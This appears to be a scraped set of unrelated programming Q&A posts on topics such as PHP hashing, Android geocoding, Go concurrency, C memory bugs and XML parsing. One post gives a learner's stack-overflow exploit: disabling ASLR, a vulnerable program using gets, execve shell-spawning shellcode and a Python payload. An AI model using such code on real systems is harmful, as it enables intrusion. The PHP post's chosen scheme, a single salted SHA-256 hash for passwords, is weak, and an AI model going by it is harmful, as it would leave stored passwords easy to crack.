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• Secure hash and salt for PHP passwords

  - by luiscubal

  It is currently said that MD5 is partially unsafe. Taking this into consideration, I'd like to know which mechanism to use for password protection. Is “double hashing” a password less secure than just hashing it once? Suggests that hashing multiple times may be a good idea. How to implement password protection for individual files? Suggests using salt. I'm using PHP. I want a safe and fast password encryption system. Hashing a password a million times may be safer, but also slower. How to achieve a good balance between speed and safety? Also, I'd prefer the result to have a constant number of characters. The hashing mechanism must be available in PHP It must be safe It can use salt (in this case, are all salts equally good? Is there any way to generate good salts?) Also, should I store two fields in the database(one using MD5 and another one using SHA, for example)? Would it make it safer or unsafer? In case I wasn't clear enough, I want to know which hashing function(s) to use and how to pick a good salt in order to have a safe and fast password protection mechanism. EDIT: The website shouldn't contain anything too sensitive, but still I want it to be secure. EDIT2: Thank you all for your replies, I'm using hash("sha256",$salt.":".$password.":".$id) Questions that didn't help: What's the difference between SHA and MD5 in PHP Simple Password Encryption Secure methods of storing keys, passwords for asp.net How would you implement salted passwords in Tomcat 5.5

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• geocoder.getFromLocationName returns only null

  - by test

  Hello, I am going out of my mind for the last 2 days with an IllegalArgumentException error i receive in android code when trying to get a coordinates out of an address, or even reverse, get address out of longitude and latitude. this is the code, but i cannot see an error. is a standard code snippet that is easily found on a google search. public GeoPoint determineLatLngFromAddress(Context appContext, String strAddress) { Geocoder geocoder = new Geocoder(appContext, Locale.getDefault()); GeoPoint g = null; try { System.out.println("str addres: " + strAddress); List<Address> addresses = geocoder.getFromLocationName(strAddress, 5); if (addresses.size() > 0) { g = new GeoPoint((int) (addresses.get(0).getLatitude() * 1E6), (int) (addresses.get(0).getLongitude() * 1E6)); } } catch (Exception e) { throw new IllegalArgumentException("locationName == null"); } return g; } These are the permissions from manifest.xml file: <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /> <uses-permission android:name="android.permission.ACCESS_MOCK_LOCATION" /> I do have the Google Api key declared too: <uses-library android:name="com.google.android.maps" /> From the code snippet above, geo coder is not null, neither is the address or appContext, and i stumble here: geocoder.getFromLocationName(strAddress, 5); I did a lot of google searching and found nothing that worked, and the most important info i found is this: ""The Geocoder class requires a backend service that is not included in the core android framework." Sooo, i am confuzed now. What do I have to call, import, add, use in code.... to make this work? I am using Google Api2.2, Api level 8. If somebody has found a solution for this, or a pointer for documentation, something that i didn't discover, please let us know. Thank you for your time.

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• x86 instruction encoding tables

  - by Cheery

  I'm in middle of rewriting my assembler. While at it I'm curious about implementing disassembly as well. I want to make it simple and compact, and there's concepts I can exploit while doing so. It is possible to determine rest of the x86 instruction encoding from opcode (maybe prefix bytes are required too, a bit). I know many people have written tables for doing it. I'm not interested about mnemonics but instruction encoding, because it is an actual hard problem there. For each opcode number I need to know: does this instruction contain modrm? how many immediate fields does this instruction have? what encoding does an immediate use? is the immediate in field an instruction pointer -relative address? what kind of registers does the modrm use for operand and register fields? sandpile.org has somewhat quite much what I'd need, but it's in format that isn't easy to parse. Before I start writing and validating those tables myself, I decided to write this question. Do you know about this kind of tables existing somewhere? In a form that doesn't require too much effort to parse.

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• How to implement a counter when using golang's goroutine?

  - by MrROY

  I'm trying to make a queue struct that have push and pop functions. I need to use 10 threads push and another 10 threads pop data, just like i did in the code below. Questions : 1. I need to print out how much i have pushed/popped, but i don't know how to do that. 2. Is there anyway to speed up my code ? the code is too slow for me. package main import ( "runtime" "time" ) const ( DATA_SIZE_PER_THREAD = 10000000 ) type Queue struct { records string } func (self Queue) push(record chan interface{}) { // need push counter record <- time.Now() } func (self Queue) pop(record chan interface{}) { // need pop counter <- record } func main() { runtime.GOMAXPROCS(runtime.NumCPU()) //record chan record := make(chan interface{},1000000) //finish flag chan finish := make(chan bool) queue := new(Queue) for i:=0; i<10; i++ { go func() { for j:=0; j<DATA_SIZE_PER_THREAD; j++ { queue.push(record) } finish<-true }() } for i:=0; i<10; i++ { go func() { for j:=0; j<DATA_SIZE_PER_THREAD; j++ { queue.pop(record) } finish<-true }() } for i:=0; i<20; i++ { <-finish } }

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• How to fix RapidXML String ownership concerns?

  - by Roddy

  RapidXML is a fast, lightweight C++ XML DOM Parser, but it has some quirks. The worst of these to my mind is this: 3.2 Ownership Of Strings. Nodes and attributes produced by RapidXml do not own their name and value strings. They merely hold the pointers to them. This means you have to be careful when setting these values manually, by using xml_base::name(const Ch *) or xml_base::value(const Ch *) functions. Care must be taken to ensure that lifetime of the string passed is at least as long as lifetime of the node/attribute. The easiest way to achieve it is to allocate the string from memory_pool owned by the document. Use memory_pool::allocate_string() function for this purpose. Now, I understand it's done this way for speed, but this feels like an car crash waiting to happen. The following code looks innocuous but 'name' and 'value' are out of scope when foo returns, so the doc is undefined. void foo() { char name[]="Name"; char value[]="Value"; doc.append_node(doc.allocate_node(node_element, name, value)); } The suggestion of using allocate_string() as per manual works, but it's so easy to forget. Has anyone 'enhanced' RapidXML to avoid this issue?

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• PDCurses TUI C++ Win32 console app - Access violation reading location

  - by Bach

  I have downloaded pdcurses source and was able to successfully include curses.h in my project, linked the pre-compiled library and all good. After few hours of trying out the library, I saw the tuidemo.c in the demos folder, compiled it into an executable and brilliant! exactly what I needed for my project. Now the problem is that it's a C code, and I am working on a C++ project in VS c++ 2008. The files I need are tui.c and tui.h How can I include that C file in my C++ code? I saw few suggestions here but the compiler was not too happy with 100's of warnings and errors. How can I go on including/using that TUI pdcurses includes!? Thanks EDIT: I added extern "C" statement, so my test looks like this now, but I'm getting some other type of error #include <stdio.h> #include <stdlib.h> using namespace std; extern "C" { #include <tui.h> } void sub0(void) { //do nothing } void sub1(void) { //do nothing } int main (int argc, char * const argv[]) { menu MainMenu[] = { { "Asub", sub0, "Go inside first submenu" }, { "Bsub", sub1, "Go inside second submenu" }, { "", (FUNC)0, "" } /* always add this as the last item! */ }; startmenu(MainMenu, "TUI - 'textual user interface' demonstration program"); return 0; } Although it is compiling successfully, it is throwing an Error at runtime, which suggests a bad pointer: 0xC0000005: Access violation reading location 0x021c52f9 at line startmenu(MainMenu, "TUI - 'textual user interface' demonstration program"); Not sure where to go from here. thanks again.

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• How to setup matlabpool for multiple processors?

  - by JohnIdol

  I just setup a Extra Large Heavy Computation EC2 instance to throw it at my Genetic Algorithms problem, hoping to speed up things. This instance has 8 Intel Xeon processors (around 2.4Ghz each) and 7 Gigs of RAM. On my machine I have an Intel Core Duo, and matlab is able to work with my two cores just fine by runinng: matlabpool open 2 On the EC2 instance though, matlab only is capable of detecting 1 out of 8 processors, and if I try running: matlabpool open 8 I get an error saying that the ClusterSize is 1 since there's only 1 core on my CPU. True, there is only 1 core on each CPU, but I have 8 CPUs on the given EC2 instance! So the difference from my machine and the ec2 instance is that I have my 2 cores on a single processor locally, while the EC2 instance has 8 distinct processors. My question is, how do I get matlab to work with those 8 processors? I found this paper, but it seems related to setting up matlab with multiple EC2 instances (not related to multiple processors on the same instance, EC2 or not), which is not my problem. Any help appreciated!

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• Stack and Hash joint

  - by Alexandru

  I'm trying to write a data structure which is a combination of Stack and HashSet with fast push/pop/membership (I'm looking for constant time operations). Think of Python's OrderedDict. I tried a few things and I came up with the following code: HashInt and SetInt. I need to add some documentation to the source, but basically I use a hash with linear probing to store indices in a vector of the keys. Since linear probing always puts the last element at the end of a continuous range of already filled cells, pop() can be implemented very easy without a sophisticated remove operation. I have the following problems: the data structure consumes a lot of memory (some improvement is obvious: stackKeys is larger than needed). some operations are slower than if I have used fastutil (eg: pop(), even push() in some scenarios). I tried rewriting the classes using fastutil and trove4j, but the overall speed of my application halved. What performance improvements would you suggest for my code? What open-source library/code do you know that I can try?

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• Does replace into have a where clause?

  - by Lajos Arpad

  I'm writing an application and I'm using MySQL as DBMS, we are downloading property offers and there were some performance issues. The old architecture looked like this: A property is updated. If the number of affected rows is not 1, then the update is not considered successful, elseway the update query solves our problem. If the update was not successful, and the number of affected rows is more than 1, we have duplicates and we delete all of them. After we deleted duplicates if needed if the update was not successful, an insert happens. This architecture was working well, but there were some speed issues, because properties are deleted if they were not updated for 15 days. Theoretically the main problem is deleting properties, because some properties are alive for months and the indexes are very far from each other (we are talking about 500, 000+ properties). Our host told me to use replace into instead of deleting properties and all deprecated properties should be considered as DEAD. I've done this, but problems started to occur because of syntax error and I couldn't find anywhere an example of replace into with a where clause (I'd like to replace a DEAD property with the new property instead of deleting the old property and insert a new to assure optimization). My query looked like this: replace into table_name(column1, ..., columnn) values(value1, ..., valuen) where ID = idValue Of course, I've calculated idValue and handled everything but I had a syntax error. I would like to know if I'm wrong and there is a where clause for replace into. I've found an alternative solution, which is even better than replace into (using simply an update query) because deletes are happening behind the curtains if I use replace into, but I would like to know if I'm wrong when I say that replace into doesn't have a where clause. For more reference, see this link: http://dev.mysql.com/doc/refman/5.0/en/replace.html Thank you for your answers in advance, Lajos Árpád

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• Debugging SQL Server Slowness: Same Database, Different Servers

  - by Craig Walker

  For a while now we've been having anecdotal slowness on our newly-minted (VMWare-based) SQL Server 2005 database servers. Recently the problem has come to a head and I've started looking for the root cause of the issue. Here's the weird part: on the stored procedure that I'm using as a performance test case, I get a 30x difference in the execution speed depending on which DB server I run it on. This is using the same database (mdf) and log (ldf) files, detached, copied, and reattached from the slow server to the fast one. This doesn't appear to be a (virtualized) hardware issue: he slow server has 4x the CPU capacity and 2x the memory as the fast one. As best as I can tell, the problem lies in the environment/configuration of the servers (either operating system or SQL Server installation). However, I've checked a bunch of variables (SQL Server config options, running services, disk fragmentation) and found nothing that has made a difference in testing. What things should I be looking at? What tools can I use to investigate why this is happening?

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• Shellcode for a simple stack overflow doesn't start a shell

  - by henning

  Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. Seems like the execve syscall fails. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328

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• Java/Spring: Why won't Spring use the validator object I have configured?

  - by GMK

  I'm writing a web app with Java & Spring 2.5.6 and using annotations for bean validation. I can get the basic annotation validation working fine, and Spring will even call a custom Validator declared with @Validator on the target bean. But it always instantiates a brand new Validator object to do it. This is bad because the new validator has none of the injected dependencies it needs to run, and so it throws a null pointer exception on validate. I need one of two things and I don't know how to do either. Convince Spring to use the validator I have already configured. Convince Spring to honor the @Autowired annotations when it creates the new validator. The validator has the @Component annotation, like this. @Component public class AccessCodeBeanValidator implements Validator { @Autowired private MessageSource messageSource; Spring finds the validator in the component scan, injects the autowired dependencies, but then ignores it and creates a new one at validation time. The only thing that I can do at the moment is add a validator reference into the controller for each validator object and use that ref directly, instead of relying on the bean validation framework to call the validator for me. It looks like this. // first validate via the annotations on the bean beanValidator.validate(accessCodeBean, result); // then validate using the specific validator class acbValidator.validate(accessCodeBean, result); if (result.hasErrors()) { If anyone knows how to convince spring to use the existing validator, instead of creating a new one, or how to make it do the autowiring when it creates a new one, I'd love to know.

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• Passing char * into fopen with C.

  - by Rhys

  Hey there, I'm writing a program that passes data from a file into an array, but I'm having trouble with fopen (). It seems to work fine when I hardcode the file path into the parameters (eg fopen ("data/1.dat", "r");) but when I pass it as a pointer, it returns NULL. Note that line 142 will print "data/1.dat" if entered from command line so parse_args () appears to be working. 132 int 133 main(int argc, char **argv) 134 { 135 FILE *in_file; 136 int *nextItem = (int *) malloc (sizeof (int)); 137 set_t *dictionary; 138 139 /* Parse Arguments */ 140 clo_t *iopts = parse_args(argc, argv); 141 142 printf ("INPUT FILE: %s.\n", iopts->input_file); /* This prints correct path */ 143 /* Initialise dictionary */ 144 dictionary = set_create (SET_INITAL_SIZE); 145 146 /* Use fscanf to read all data values into new set_t */ 147 if ((in_file = fopen (iopts->input_file, "r")) == NULL) 148 { 149 printf ("File not found...\n"); 150 return 0; 151 } Thanks! Rhys

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• Multiple SFINAE rules

  - by Fred

  Hi everyone, After reading the answer to this question, I learned that SFINAE can be used to choose between two functions based on whether the class has a certain member function. It's the equivalent of the following, just that each branch in the if statement is split into an overloaded function: template<typename T> void Func(T& arg) { if(HAS_MEMBER_FUNCTION_X(T)) arg.X(); else //Do something else because T doesn't have X() } becomes template<typename T> void Func(T &arg, int_to_type<true>); //T has X() template<typename T> void Func(T &arg, int_to_type<false>); //T does not have X() I was wondering if it was possible to extend SFINAE to do multiple rules. Something that would be the equivalent of this: template<typename T> void Func(T& arg) { if(HAS_MEMBER_FUNCTION_X(T)) //See if T has a member function X arg.X(); else if(POINTER_DERIVED_FROM_CLASS_A(T)) //See if T is a pointer to a class derived from class A arg->A_Function(); else if(DERIVED_FROM_CLASS_B(T)) //See if T derives from class B arg.B_Function(); else if(IS_TEMPLATE_CLASS_C(T)) //See if T is class C<U> where U could be anything arg.C_Function(); else if(IS_POD(T)) //See if T is a POD type //Do something with a POD type else //Do something else because none of the above rules apply } Is something like this possible? Thank you.

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• Malloc corrupting already malloc'd memory in C

  - by Kyte

  I'm currently helping a friend debug a program of his, which includes linked lists. His list structure is pretty simple: typedef struct nodo{ int cantUnos; char* numBin; struct nodo* sig; }Nodo; We've got the following code snippet: void insNodo(Nodo** lista, char* auxBin, int auxCantUnos){ printf("*******Insertando\n"); int i; if (*lista) printf("DecInt*%p->%p\n", *lista, (*lista)->sig); Nodo* insert = (Nodo*)malloc(sizeof(Nodo*)); if (*lista) printf("Malloc*%p->%p\n", *lista, (*lista)->sig); insert->cantUnos = auxCantUnos; insert->numBin = (char*)malloc(strlen(auxBin)*sizeof(char)); for(i=0 ; i<strlen(auxBin) ; i++) insert->numBin[i] = auxBin[i]; insert-numBin[i] = '\0'; insert-sig = NULL; Nodo* aux; [etc] (The lines with extra indentation were my addition for debug purposes) This yields me the following: *******Insertando DecInt*00341098->00000000 Malloc*00341098->2832B6EE (*lista)-sig is previously and deliberately set as NULL, which checks out until here, and fixed a potential buffer overflow (he'd forgotten to copy the NULL-terminator in insert-numBin). I can't think of a single reason why'd that happen, nor I've got any idea on what else should I provide as further info. (Compiling on latest stable MinGW under fully-patched Windows 7, friend's using MinGW under Windows XP. On my machine, at least, in only happens when GDB's not attached.) Any ideas? Suggestions? Possible exorcism techniques? (Current hack is copying the sig pointer to a temp variable and restore it after malloc. It breaks anyways. Turns out the 2nd malloc corrupts it too. Interestingly enough, it resets sig to the exact same value as the first one).

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• Unhandled Exception with c++ app on Visual Studio 2008 release build - occurs when returning from fu

  - by Rich

  Hi, I have a (rather large) application that I have written in C++ and until recently it has been running fine outside of visual studio from the release build. However, now, whenever I run it it says "Unhandled exception at 0x77cf205b in myprog.exe: 0xC0000005: Access violation writing location 0x45000200.", and leads me to "crtexe.c" at line 582 ("mainret = main(argc, argv, envp);") if I attempt to debug it. Note that this problem never shows if I run my debug executable outside of visual studio, or if I run my debug or release build within visual studio. It only happens when running the release build outside of visual studio. I have been through and put plenty of printfs and a couple of while(1)s in it to see when it actually crashed, and found that the access violation occurs at exactly the point that the value is returned from the function (I'm returning a pointer to an object). I don't fully understand why I would get an access violation at the point it returns, and it doesn't seem to matter what I'm returning as it still occurs when I return 0. The point it started crashing was when I added a function which does a lot of reading from a file using ifstream. I am opening the stream every time I attempt to read a new file and close it when I finish reading it. If I keep attempting to run it, it will run once in about 20 tries. It seems a lot more reliable if I run it off my pen drive (it seems to crash the first 3 or 4 times then run fine after that - maybe it's due to its slower read speed). Thanks for your help, and if I've missed anything let me know.

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• Separation of multipage tiff with compression "CCITT T.6" very slow

  - by Alex

  I need to separate multiframe tiff files, and use the following method: public static Image[] GetFrames(Image sourceImage) { Guid objGuid = sourceImage.FrameDimensionsList[0]; FrameDimension objDimension = new FrameDimension(objGuid); int frameCount = sourceImage.GetFrameCount(objDimension); Image[] images = new Image[frameCount]; for (int i = 0; i < frameCount; i++) { MemoryStream ms = new MemoryStream(); sourceImage.SelectActiveFrame(objDimension, i); sourceImage.Save(ms, ImageFormat.Tiff); images[i] = Image.FromStream(ms); } return images; } It works fine, but if the source image was encoded using the CCITT T.6 compression, separating a 20-frame-file takes up to 15 seconds on my 2,5ghz CPU.(edit: One core is at 100% during the process) When saving the images afterward to a single file using standard compression (LZW), the separation time of the LZW-file is under 1 second. Saving with CCITT compression also takes very long. Is there a way to speed up the process?

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• Uploadify and rails 3 authenticity tokens

  - by Ceilingfish

  Hi chaps, I'm trying to get a file upload progress bar working in a rails 3 app using uploadify (http://www.uploadify.com) and I'm stuck at authenticity tokens. My current uploadify config looks like <script type="text/javascript" charset="utf-8"> $(document).ready(function() { $("#zip_input").uploadify({ 'uploader': '/flash/uploadify.swf', 'script': $("#upload").attr('action'), 'scriptData': { 'format': 'json', 'authenticity_token': encodeURIComponent('<%= form_authenticity_token if protect_against_forgery? %>') }, 'fileDataName': "world[zip]", //'scriptAccess': 'always', // Incomment this, if for some reason it doesn't work 'auto': true, 'fileDesc': 'Zip files only', 'fileExt': '*.zip', 'width': 120, 'height': 24, 'cancelImg': '/images/cancel.png', 'onComplete': function(event, data) { $.getScript(location.href) }, // We assume that we can refresh the list by doing a js get on the current page 'displayData': 'speed' }); }); </script> But I am getting this response from rails: Started POST "/worlds" for 127.0.0.1 at 2010-04-22 12:39:44 ActionController::InvalidAuthenticityToken (ActionController::InvalidAuthenticityToken): Rendered /opt/local/lib/ruby/gems/1.8/gems/actionpack-3.0.0.beta3/lib/action_dispatch/middleware/templates/rescues/_trace.erb (1.0ms) Rendered /opt/local/lib/ruby/gems/1.8/gems/actionpack-3.0.0.beta3/lib/action_dispatch/middleware/templates/rescues/_request_and_response.erb (6.6ms) Rendered /opt/local/lib/ruby/gems/1.8/gems/actionpack-3.0.0.beta3/lib/action_dispatch/middleware/templates/rescues/diagnostics.erb within rescues/layout (12.2ms) This appears to be because I'm not sending the authentication cookie along with the request. Does anyone know how I can get the values I should be sending there, and how I can make rails read it from HTTP POST rather than trying to find it as a cookie?

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• Transition from 2D to 3D later in game development

  - by Axarydax

  Hi, I'd like to work on a game, but for rapidly prototyping it, I'd like to keep it as simple as possible, so I'd do everything in top-down 2D in GDI+ and WinForms (hey, I like them!), so I can concentrate on the logic and architecture of the game itself. I thinking about having the whole game logic (server) in one assembly, where the WinForms app would be a client to that game, and if/when the time is right, I'd write a 3D client. I am tempted to use XNA, but I haven't really looked into it, so I don't know if it won't take too much time getting up to speed - I really don't want to spent much time doing other stuff than the game logic, at least while I have the inspiration. But I wouldn't have to abandon everything and transfer to new platform when transitioning from 2D to 3D. Another idea is just to get over it and learn XNA/Unity/SDL/something at least to that level so I can make the same 2D version as I could in GDI+, and I won't have to worry about switching frameworks anymore. Let's just say that the game is the kind where you watch a dude from behind, you run around the gameworld and interact with objects. So the bird's eye perspective could be doable for now. Thanks.

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• maps, iterators, and complex structs - STL errors

  - by Austin Hyde

  So, I have two structs: struct coordinate { float x; float y; } struct person { int id; coordinate location; } and a function operating on coordinates: float distance(const coordinate& c1, const coordinate& c2); In my main method, I have the following code: map<int,person> people; // populate people map<int,map<float,int> > distance_map; map<int,person>::iterator it1,it2; for (it1=people.begin(); it1!=people.end(); ++it1) { for (it2=people.begin(); it2!=people.end(); ++it2) { float d = distance(it1->second.location,it2->second.location); distance_map[it1->first][d] = it2->first; } } However, I get the following error upon build: stl_iterator_base_types.h: In instantiation of ‘std::iterator_traits<coordinate>’: stl_iterator_base_types.h:129: error: no type named ‘iterator_category’ in ‘struct coordinate’ stl_iterator_base_types.h:130: error: no type named ‘value_type’ in ‘struct coordinate’ stl_iterator_base_types.h:131: error: no type named ‘difference_type’ in ‘struct coordinate’ stl_iterator_base_types.h:132: error: no type named ‘pointer’ in ‘struct coordinate’ stl_iterator_base_types.h:133: error: no type named ‘reference’ in ‘struct coordinate’ And it blames it on the line: float d = distance(it1->second.location,it2->second.location); Why does the STL complain about my code?

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• Reading Xml with XmlReader in C#

  - by Gloria Huang

  I'm trying to read the following Xml document as fast as I can and let additional classes manage the reading of each sub block. <ApplicationPool><Accounts><Account><NameOfKin></NameOfKin><StatementsAvailable><Statement></Statement></StatementsAvailable></Account></Accounts></ApplicationPool> I can't seem to format the above nicely :( However, I'm trying to use the XmlReader object to read each Account and subsequently the "StatementsAvailable". Do you suggest using XmlReader.Read and check each element and handle it? I've thought of seperating my classes to handle each node properly. So theres an AccountBase class that accepts a XmlReader instance that reads the NameOfKin and several other properties about the account. Then I was wanting to interate through the Statements and let another class fill itself out about the Statement (and subsequently add it to an IList). Thus far I have the "per class" part done by doing XmlReader.ReadElementString() but I can't workout how to tell the pointer to move to the StatementsAvailable element and let me iterate through them and let another class read each of those proeprties. Sounds easy!

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• Find unique vertices from a 'triangle-soup'

  - by sum1stolemyname

  I am building a CAD-file converter on top of two libraries (Opencascade and DWF Toolkit). However, my question is plattform agnostic: Given: I have generated a mesh as a list of triangular faces form a model constructed through my application. Each Triangle is defined through three vertexes, which consist of three floats (x, y & z coordinate). Since the triangles form a mesh, most of the vertices are shared by more then one triangle. Goal: I need to find the list of unique vertices, and to generate an array of faces consisting of tuples of three indices in this list. What i want to do is this: //step 1: build a list of unique vertices for each triangle for each vertex in triangle if not vertex in listOfVertices Add vertex to listOfVertices //step 2: build a list of faces for each triangle for each vertex in triangle Get Vertex Index From listOfvertices AddToMap(vertex Index, triangle) While I do have an implementation which does this, step1 (the generation of the list of unique vertices) is really slow in the order of O(n!), since each vertex is compared to all vertices already in the list. I thought "Hey, lets build a hashmap of my vertices' components using std::map, that ought to speed things up!", only to find that generating a unique key from three floating point values is not a trivial task. Here, the experts of stackoverflow come into play: I need some kind of hash-function which works on 3 floats, or any other function generating a unique value from a 3d-vertex position.

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• Detect click on URL in RichEdit

  - by Tofig Hasanov

  I am trying to update RichEdit so that it detects URL and enables clicking on it to open in the browser. Detecting URL is easy, I just use the following code from http://www.scalabium.com/faq/dct0146.htm mask := SendMessage(MNote.Handle, EM_GETEVENTMASK, 0, 0); SendMessage(MNote.Handle, EM_SETEVENTMASK, 0, mask or ENM_LINK); SendMessage(MNote.Handle, EM_AUTOURLDETECT, Integer(True), 0); but the second part doesn't work for me. They give the following code to capture EN_LINK message and processing it: type TForm1 = class(TForm) protected procedure WndProc(var Message: TMessage); override; end; ... procedure TForm1.WndProc(var Message: TMessage); var p: TENLink; strURL: string; begin if (Message.Msg = WM_NOTIFY) then begin if (PNMHDR(Message.LParam).code = EN_LINK) then begin p := TENLink(Pointer(TWMNotify(Message).NMHdr)^); if (p.msg = WM_LBUTTONDOWN) then begin SendMessage(RichEdit1.Handle, EM_EXSETSEL, 0, LongInt(@(p.chrg))); strURL := RichEdit1.SelText; ShellExecute(Handle, 'open', PChar(strURL), 0, 0, SW_SHOWNORMAL); end end end; inherited; end; When I run the program, URL is detected, but clicking on it doesn't do anything. Using debug I found out that Message.Msg = WM_NOTIFY is not true when I click on URL. I then tried to override TRichEdit's WndProc, but result is the same. Any suggestions?

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• What is the fastest way to pull a few element values out of XML files in Perl?

  - by Anon Guy

  I have a bunch of XML files that are about 1-2 megabytes in size. Actually, more than a bunch, there are millions. They're all well-formed and many are even validated against their schema (confirmed with libxml2). All were created by the same app, so they're in a consistent format (though this could theoretically change in the future). I want to check the values of one element in each file from within a Perl script. Speed is important (I'd like to take less than a second per file) and as noted I already know the files are well-formed. I am sorely tempted to simply 'open' the files in Perl and scan through until I see the element I am looking for, grab the value (which is near the start of the file), and close the file. On the other hand, I could use an XML parser (which might protect me from future changes to the XML formatting) but I suspect it will be slower than I'd like. Can anyone recommend an appropriate approach and/or parser? Thanks in advance.

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• Setting up a "cookieless domain" to improve site performance

  - by Django Reinhardt

  I was reading in Google's documentation about improving site speed. One of their recommendations is serving static content (images, css, js, etc.) from a "cookieless domain": Static content, such as images, JS and CSS files, don't need to be accompanied by cookies, as there is no user interaction with these resources. You can decrease request latency by serving static resources from a domain that doesn't serve cookies. Google then says that the best way to do this is to buy a new domain and set it to point to your current one: To reserve a cookieless domain for serving static content, register a new domain name and configure your DNS database with a CNAME record that points the new domain to your existing domain A record. Configure your web server to serve static resources from the new domain, and do not allow any cookies to be set anywhere on this domain. In your web pages, reference the domain name in the URLs for the static resources. This is pretty straight forward stuff, except for the bit where it says to "configure your web server to serve static resources from the new domain, and do not allow any cookies to be set anywhere on this domain". From what I've read, there's no setting in IIS that allows you to say "serve static resources", so how do I prevent ASP.NET from setting cookies on this new domain? At present, even if I'm just requesting a .jpg from the new domain, it sets a cookie on my browser, even though our application's cookies are set to our old domain. For example, ASP.NET sets an ".ASPXANONYMOUS" cookie that (as far as I'm aware) we're not telling it to do. Apologies if this is a real newb question, I'm new at this! Thanks.

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